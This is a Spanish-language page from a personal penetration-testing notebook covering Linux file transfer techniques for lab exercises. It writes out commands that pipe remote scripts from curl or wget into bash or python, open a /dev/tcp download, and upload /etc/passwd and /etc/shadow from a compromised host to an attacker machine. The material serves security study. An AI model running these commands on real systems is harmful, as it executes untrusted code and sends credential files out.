beafn28
  • 👩‍💻¡Bienvenidos a mi HackBook!
  • WRITEUPS
    • DockerLabs
      • BuscaLove
      • Amor
      • Injection
      • BorazuwarahCTF
      • Trust
      • Picadilly
      • Pinguinazo
      • AguaDeMayo
      • BreakMySSH
      • NodeClimb
      • Move
      • Los 40 ladrones
      • Vulnvault
      • Pntopntobarra
      • Library
      • Escolares
      • ConsoleLog
      • Vacaciones
      • Obsession
      • FirstHacking
      • SecretJenkins
      • HedgeHog
      • AnonymousPingu
      • ChocolateLovers
      • Dockerlabs
      • Pressenter
      • Candy
      • JenkHack
      • ShowTime
      • Upload
      • Verdejo
      • WalkingCMS
      • WhereIsMyWebShell
      • Whoiam
      • Winterfell
      • -Pn
      • Psycho
      • Mirame
      • Backend
      • Paradise
      • Balurero
      • Allien
      • Vendetta
      • FindYourStyle
      • Stellarjwt
      • File
      • Redirection (Por completar)
      • Extraviado
      • Patriaquerida
      • Tproot
      • Internship
      • Walking Dead
      • Bicho (Por completar)
      • BaluFood
    • TryHackMe
      • Brooklyn Nine Nine
      • Blue
    • HackTheBox
      • Nibbles
      • Starting Point
        • Meow
        • Fawn
        • Dancing
        • Redeemer
        • Appointment
        • Sequel
        • Crocodile
        • Responder
        • Three
        • Archetype
        • Oopsie
        • Vaccine
        • Unified
        • Explosion
        • Preignition
        • Mongod
        • Synced
        • Ignition
        • Bike
        • Funnel
        • Pennyworth
        • Tactics
        • Included
        • Markup
        • Base
      • BoardLight
      • Cap
      • TwoMillion
      • Lame
      • Legacy
      • Devel
      • Beep
      • Optimum
      • Arctic
      • Jerry
      • Sau
      • GoodGames
      • Challenges
        • Emdee five for life
        • MarketDump
      • Intro to Dante
      • Heist
      • OpenAdmin
      • Nest
      • Curling
    • Vulnhub
      • Wakanda
      • Election (Por terminar)
    • The Hacker Labs
      • Avengers
      • Can you hack me?
      • Fruits
      • Microchoft
      • TickTakRoot
      • Grillo
      • Mortadela
      • Zapas Guapas
      • Sal y Azúcar
      • Cyberpunk
      • Papafrita
      • PizzaHot
      • Decryptor
      • Academy
      • Cocido andaluz
      • Find Me
      • Quokka
      • Campana Feliz
      • Bocata de Calamares
      • Casa Paco
      • Torrijas
    • Vulnyx
      • Fuser
      • Blogguer
      • Lower
      • Exec
      • Diff3r3ntS3c
      • Hacking Station
      • Experience
      • Eternal
      • Agent
      • Infected
      • Admin
      • War
      • Hosting
    • OverTheWire
      • Natas
        • Nivel 0-5
        • Nivel 6-11
        • Nivel 12-17
        • Nivel 18-23
        • Nivel 24-29
        • Nivel 30-34
      • Leviathan
        • Nivel 0-7
      • Krypton
      • Bandit
        • Nivel 0-10
        • Nivel 11-20
        • Nivel 21-30
        • Nivel 31-34
    • Proving Ground Play
      • Monitoring
      • DriftingBlues6
  • APUNTES HACKING
    • Pentesting Basics
      • Web Enumeration
      • Public Exploits
      • Types of Shells
      • Privilege Escalation
      • Transfering Files
    • Network Enumeration with NMAP
      • Host Discovery
      • Host and Port Scanning
      • Saving the Results
      • Service Enumeration
      • Nmap Scripting Engine
      • Performance
      • Firewall and IDS/IPS Evasion
    • Footprinting
      • Domain Information
      • Cloud Resources
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP/POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Information Gathering - Web Edition
      • WHOIS
      • DNS
        • Digging DNS
      • Subdomains
        • Subdomain Bruteforcing
        • DNS Zone Transfers
        • Virtual Hosts
        • Certificate Transparency Logs
      • Fingerprinting
      • Crawling
        • robots.txt
        • Well-Known URIs
        • Creepy Crawlies
      • Search Engine Discovery
      • Web Archives
      • Automating Recon
    • Vulnerability Assessment
      • Vulnerability Assessment
      • Assessment Standards
      • Common Vulnerability Scoring System (CVSS)
      • Common Vulnerabilities and Exposures (CVE)
    • Nessus
      • Getting Started with Nessus
      • Nessus Scan
      • Advanced Settings
      • Working with Nessus Scan Output
      • Scanning Issues
    • OpenVAS
      • OpenVAS Scan
      • Exporting The Results
    • Reporting
    • File Transfers
      • Windows File Transfer Methods
      • Linux File Transfer Methods
      • Transferring Files with Code
      • Miscellaneous File Transfer Methods
      • Protected File Transfers
      • Catching Files over HTTP/S
      • Living off The Land
      • Detection
      • Evading Detection
    • Shells & Payloads
      • Anatomy of a Shell
      • Bind Shells
      • Reverse Shells
      • Payloads
        • Automating Payloads & Delivery with Metasploit
        • Crafting Payloads with MSFvenom
        • Infiltrating Windows
        • Infiltrating Unix/Linux
        • Spawning Interactive Shells
      • Introduction to Web Shells
        • Laudanum, One Webshell to Rule Them All
        • Antak Webshell
        • PHP Web Shells
      • Detection & Prevention
    • Metasploit
      • MSFConsole
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Databases
      • Plugins
      • Sessions
      • Meterpreter
      • Writing and Importing Modules
      • Introduction to MSFVenom
      • Firewall and IDS/IPS Evasion
    • Password Attacks
      • John The Ripper
      • Network Services
      • Password Mutations
      • Password Reuse / Default Passwords
      • Attacking SAM
      • Attacking LSASS
      • Attacking Active Directory & NTDS.dit
      • Credential Hunting in Windows
      • Credential Hunting in Linux
      • Passwd, Shadow & Opasswd
      • Pass the Hash (PtH)
  • WEB SECURITY
    • Path Traversal
    • SQL Injection
    • Control de Acceso
  • Mis CTFs
    • Pequeñas Mentirosas
    • CryptoLabyrinth
    • Elevator
    • Facultad
  • PREPARAR EJPTv2
    • Máquinas
    • Curso de Mario
      • Presentación + Preparación de Laboratorios
      • Conceptos Básicos de Hacking
      • Explotación de Vulnerabilidades y Ataques de Fuerza Bruta
      • Explotación vulnerabilidades Web
      • Enumeración y Explotación del Protócolo SMB, SAMBA, SNMP, IIS y RDP
      • Hacking Entornos CMS
      • Escalada de Privilegios + Post Explotación
      • Pivoting con Metasploit
  • Preparar OSCP
    • Información
    • Máquinas
      • Linux
        • Fácil
        • Medio
        • Difícil
      • Windows
        • Fácil
        • Medio
        • Difícil
Powered by GitBook
On this page
  • Operaciones de Descarga
  • Codificación y Decodificación Base64
  • Pwnbox - Comprobar el hash MD5 del archivo
  • Pwnbox - Codificar la clave SSH en Base64
  • Linux - Decodificar el archivo
  • Linux - Confirmar que los hashes MD5 coinciden
  • Descargas Web con Wget y cURL
  • Descargar un archivo usando Wget
  • Descargar un archivo usando cURL
  • Ataques Fileless en Linux
  • Descarga Fileless con cURL
  • Descarga Fileless con Wget
  • Descarga con Bash (/dev/tcp)
  • Conectar al servidor web objetivo
  • Realizar una solicitud HTTP GET
  • Imprimir la respuesta
  • Descargas SSH
  • Iniciar el servidor SSH
  • Verificar el puerto de escucha de SSH
  • Descargar archivos usando SCP
  • Operaciones de Subida
  • Subida Web
  • Pwnbox - Iniciar el servidor web
  • Pwnbox - Crear un certificado autofirmado
  • Pwnbox - Iniciar el servidor web
  • Linux - Subir múltiples archivos
  • Método Alternativo de Transferencia de Archivos Web
  • Linux - Crear un Servidor Web con Python3
  • Linux - Crear un Servidor Web con Python2.7
  • Linux - Crear un Servidor Web con PHP
  • Linux - Crear un Servidor Web con Ruby
  • Descargar el Archivo desde la Máquina Objetivo hacia el Pwnbox
  • Subida de Archivos con SCP
  • Subida de Archivo Usando SCP
  • Adelante

Was this helpful?

  1. APUNTES HACKING
  2. File Transfers

Linux File Transfer Methods

PreviousWindows File Transfer MethodsNextTransferring Files with Code

Last updated 7 months ago

Was this helpful?

Linux es un sistema operativo versátil que proporciona múltiples herramientas para transferir archivos. Comprender los métodos de transferencia de archivos en Linux puede ayudar a los atacantes y defensores a mejorar sus habilidades para atacar redes o prevenir ataques sofisticados.

En una intervención de respuesta ante incidentes realizada hace algunos años, encontramos múltiples actores maliciosos en seis de los nueve servidores web investigados. El atacante aprovechó una vulnerabilidad de inyección SQL y utilizó un script de Bash que, al ejecutarse, intentaba descargar otro malware para conectar al servidor con el C2 (command and control).

El script Bash intentaba tres métodos para descargar malware: primero cURL, luego wget y, si fallaban, usaba Python. Todos estos métodos utilizaban HTTP para la comunicación.

Aunque Linux puede comunicarse mediante FTP o SMB como Windows, la mayoría del malware usa HTTP y HTTPS. En esta sección, revisaremos varios métodos para transferir archivos en Linux, como HTTP, Bash y SSH.

Operaciones de Descarga

Tenemos acceso a la máquina NIX04 y necesitamos descargar un archivo desde nuestra máquina Pwnbox. Veremos cómo podemos lograr esto utilizando varios métodos de descarga de archivos.

Codificación y Decodificación Base64

Dependiendo del tamaño del archivo, podemos usar un método que no requiera comunicación en red. Si tenemos acceso a una terminal, podemos codificar un archivo en una cadena Base64, copiar su contenido al terminal y realizar la operación inversa. Veamos cómo hacerlo usando Bash.

Pwnbox - Comprobar el hash MD5 del archivo

sherlock28@htb[/htb]$ md5sum id_rsa

4e301756a07ded0a2dd6953abf015278  id_rsa

Usamos cat para imprimir el contenido del archivo y codificarlo en Base64 usando una tubería |. Usamos la opción -w 0 para crear una sola línea, y terminamos el comando con un punto y coma ; y la palabra clave echo para empezar una nueva línea, facilitando la copia.

Pwnbox - Codificar la clave SSH en Base64

sherlock28@htb[/htb]$ cat id_rsa | base64 -w 0; echo

El contenido codificado sería algo como esto (truncado por simplicidad):

LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB...

Copiamos este contenido, lo pegamos en la máquina Linux de destino y usamos base64 con la opción -d para decodificarlo.

Linux - Decodificar el archivo

sherlock28@htb[/htb]$ echo -n 'LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbG...' | base64 -d > id_rsa

Finalmente, podemos confirmar si el archivo fue transferido correctamente usando el comando md5sum.

Linux - Confirmar que los hashes MD5 coinciden

sherlock28@htb[/htb]$ md5sum id_rsa

4e301756a07ded0a2dd6953abf015278  id_rsa

Nota: También puedes subir archivos usando la operación inversa. Desde tu máquina comprometida, usa cat para codificar un archivo en Base64 y decodifícalo en tu Pwnbox.

Descargas Web con Wget y cURL

Dos de las herramientas más comunes en las distribuciones de Linux para interactuar con aplicaciones web son wget y curl. Estas herramientas están instaladas en muchas distribuciones de Linux.

Para descargar un archivo usando wget, necesitamos especificar la URL y la opción -O para establecer el nombre del archivo de salida.

Descargar un archivo usando Wget

sherlock28@htb[/htb]$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

cURL es muy similar a wget, pero la opción para el nombre del archivo de salida es en minúsculas -o.

Descargar un archivo usando cURL

sherlock28@htb[/htb]$ curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Ataques Fileless en Linux

Debido a la forma en que funciona Linux y cómo operan las tuberías (pipes), la mayoría de las herramientas que usamos en Linux pueden replicar operaciones sin archivos, lo que significa que no tenemos que descargar un archivo para ejecutarlo.

Nota: Algunos payloads, como mkfifo, escriben archivos en el disco. Aunque la ejecución del payload puede ser "sin archivos" cuando usas una tubería, dependiendo del payload elegido, puede que se creen archivos temporales en el sistema operativo.

Tomemos el comando cURL que usamos anteriormente y, en lugar de descargar el script LinEnum.sh, ejecutémoslo directamente usando una tubería.

Descarga Fileless con cURL

bashCopiar códigosherlock28@htb[/htb]$ curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

De manera similar, podemos descargar un archivo de script Python desde un servidor web y canalizarlo al intérprete de Python. Hagamos esto usando wget.

Descarga Fileless con Wget

bashCopiar códigosherlock28@htb[/htb]$ wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

Hello World!

Descarga con Bash (/dev/tcp)

En ciertas situaciones, puede que no tengamos acceso a herramientas conocidas de transferencia de archivos. Mientras tengamos Bash versión 2.04 o superior instalado (compilado con --enable-net-redirections), podemos usar el archivo de dispositivo /dev/tcp para realizar descargas simples.

Conectar al servidor web objetivo

sherlock28@htb[/htb]$ exec 3<>/dev/tcp/10.10.10.32/80

Realizar una solicitud HTTP GET

sherlock28@htb[/htb]$ echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

Imprimir la respuesta

sherlock28@htb[/htb]$ cat <&3

Descargas SSH

SSH (o Secure Shell) es un protocolo que permite el acceso seguro a computadoras remotas. SSH viene con la utilidad SCP para transferencias de archivos remotas, que, por defecto, usa el protocolo SSH.

SCP (secure copy) es una utilidad de línea de comandos que permite copiar archivos y directorios entre dos hosts de manera segura. Podemos copiar archivos desde nuestra máquina local a servidores remotos y viceversa.

SCP es muy similar al comando cp (copy), pero en lugar de proporcionar una ruta local, necesitamos especificar un nombre de usuario, la dirección IP o nombre DNS del host remoto, y las credenciales del usuario.

Antes de comenzar a descargar archivos desde nuestro objetivo Linux hacia nuestro Pwnbox, vamos a configurar un servidor SSH en nuestro Pwnbox.

Habilitar el servidor SSH

sherlock28@htb[/htb]$ sudo systemctl enable ssh

Synchronizing state of ssh.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable ssh
Use of uninitialized value $service in hash element at /usr/sbin/update-rc.d line 26, <DATA> line 45
...SNIP...

Iniciar el servidor SSH

sherlock28@htb[/htb]$ sudo systemctl start ssh

Verificar el puerto de escucha de SSH

sherlock28@htb[/htb]$ netstat -lnpt

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      - 

Ahora podemos comenzar a transferir archivos. Necesitamos especificar la dirección IP de nuestro Pwnbox, el nombre de usuario y la contraseña.

Descargar archivos usando SCP

sherlock28@htb[/htb]$ scp plaintext@192.168.49.128:/root/myroot.txt . 

Nota: Puedes crear una cuenta de usuario temporal para transferencias de archivos y evitar usar tus credenciales o claves principales en una computadora remota.

Operaciones de Subida

En situaciones como la explotación binaria o el análisis de capturas de paquetes, necesitamos subir archivos desde nuestra máquina objetivo hacia nuestro host atacante. Los métodos que usamos para descargas también funcionarán para subidas. Veamos cómo podemos subir archivos de varias maneras.

Subida Web

Como mencionamos en la sección de métodos de transferencia de archivos de Windows, podemos usar uploadserver, un módulo extendido del módulo HTTP.Server de Python, que incluye una página de subida de archivos. Para este ejemplo en Linux, veamos cómo configurar el módulo uploadserver para usar HTTPS y asegurar la comunicación.

Lo primero que necesitamos hacer es instalar el módulo uploadserver.

Pwnbox - Iniciar el servidor web

sherlock28@htb[/htb]$ sudo python3 -m pip install --user uploadserver

Collecting uploadserver
  Using cached uploadserver-2.0.1-py3-none-any.whl (6.9 kB)
Installing collected packages: uploadserver
Successfully installed uploadserver-2.0.1

Ahora necesitamos crear un certificado. En este ejemplo, usamos un certificado autofirmado.

Pwnbox - Crear un certificado autofirmado

sherlock28@htb[/htb]$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Generating a RSA private key
................................................................................+++++
.......+++++
writing new private key to 'server.pem'
-----

El servidor web no debería alojar el certificado. Recomendamos crear un nuevo directorio para alojar el archivo de nuestro servidor web.

Pwnbox - Iniciar el servidor web

sherlock28@htb[/htb]$ mkdir https && cd https
  
sherlock28@htb[/htb]$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

File upload available at /upload
Serving HTTPS on 0.0.0.0 port 443 (https://0.0.0.0:443/) ...

Ahora, desde nuestra máquina comprometida, subamos los archivos /etc/passwd y /etc/shadow.

Linux - Subir múltiples archivos

sherlock28@htb[/htb]$ curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Usamos la opción --insecure porque usamos un certificado autofirmado en el que confiamos.

Método Alternativo de Transferencia de Archivos Web

Dado que las distribuciones de Linux suelen tener Python o PHP instalados, iniciar un servidor web para transferir archivos es algo sencillo. Además, si el servidor que comprometimos es un servidor web, podemos mover los archivos que queremos transferir al directorio del servidor web y acceder a ellos desde la página web, lo que significa que estamos descargando el archivo desde nuestro Pwnbox.

Es posible levantar un servidor web utilizando varios lenguajes. Una máquina Linux comprometida puede no tener un servidor web instalado. En tales casos, podemos usar un mini servidor web. Aunque estos servidores no son muy seguros, son flexibles, ya que la ubicación del webroot y los puertos de escucha se pueden cambiar rápidamente.

Linux - Crear un Servidor Web con Python3

sherlock28@htb[/htb]$ python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Linux - Crear un Servidor Web con Python2.7

sherlock28@htb[/htb]$ python2.7 -m SimpleHTTPServer

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Linux - Crear un Servidor Web con PHP

sherlock28@htb[/htb]$ php -S 0.0.0.0:8000

[Fri May 20 08:16:47 2022] PHP 7.4.28 Development Server (http://0.0.0.0:8000) started

Linux - Crear un Servidor Web con Ruby

sherlock28@htb[/htb]$ ruby -run -ehttpd . -p8000

[2022-05-23 09:35:46] INFO  WEBrick 1.6.1
[2022-05-23 09:35:46] INFO  ruby 2.7.4 (2021-07-07) [x86_64-linux-gnu]
[2022-05-23 09:35:46] INFO  WEBrick::HTTPServer#start: pid=1705 port=8000

Descargar el Archivo desde la Máquina Objetivo hacia el Pwnbox

sherlock28@htb[/htb]$ wget 192.168.49.128:8000/filetotransfer.txt

--2022-05-20 08:13:05--  http://192.168.49.128:8000/filetotransfer.txt
Connecting to 192.168.49.128:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 0 [text/plain]
Saving to: 'filetotransfer.txt'

filetotransfer.txt                       [ <=>                                                                  ]       0  --.-KB/s    in 0s      

2022-05-20 08:13:05 (0.00 B/s) - ‘filetotransfer.txt’ saved [0/0]

Nota: Cuando iniciamos un nuevo servidor web usando Python o PHP, es importante considerar que el tráfico entrante podría estar bloqueado. Estamos transfiriendo un archivo desde nuestra máquina objetivo hacia nuestro host de ataque, pero no estamos subiendo el archivo.


Subida de Archivos con SCP

Es posible encontrar empresas que permiten conexiones salientes con el protocolo SSH (TCP/22), y si es el caso, podemos usar un servidor SSH con la utilidad scp para subir archivos. Vamos a intentar subir un archivo a la máquina objetivo usando el protocolo SSH.

Subida de Archivo Usando SCP

sherlock28@htb[/htb]$ scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/

htb-student@10.129.86.90's password: 
passwd                                                                                                           100% 3414     6.7MB/s   00:00

Nota: Recuerda que la sintaxis de scp es similar a la de cp o copy.

Adelante

Estos son los métodos más comunes de transferencia de archivos utilizando herramientas integradas en sistemas Linux, pero hay más. En las siguientes secciones, discutiremos otros mecanismos y herramientas que podemos usar para realizar operaciones de transferencia de archivos.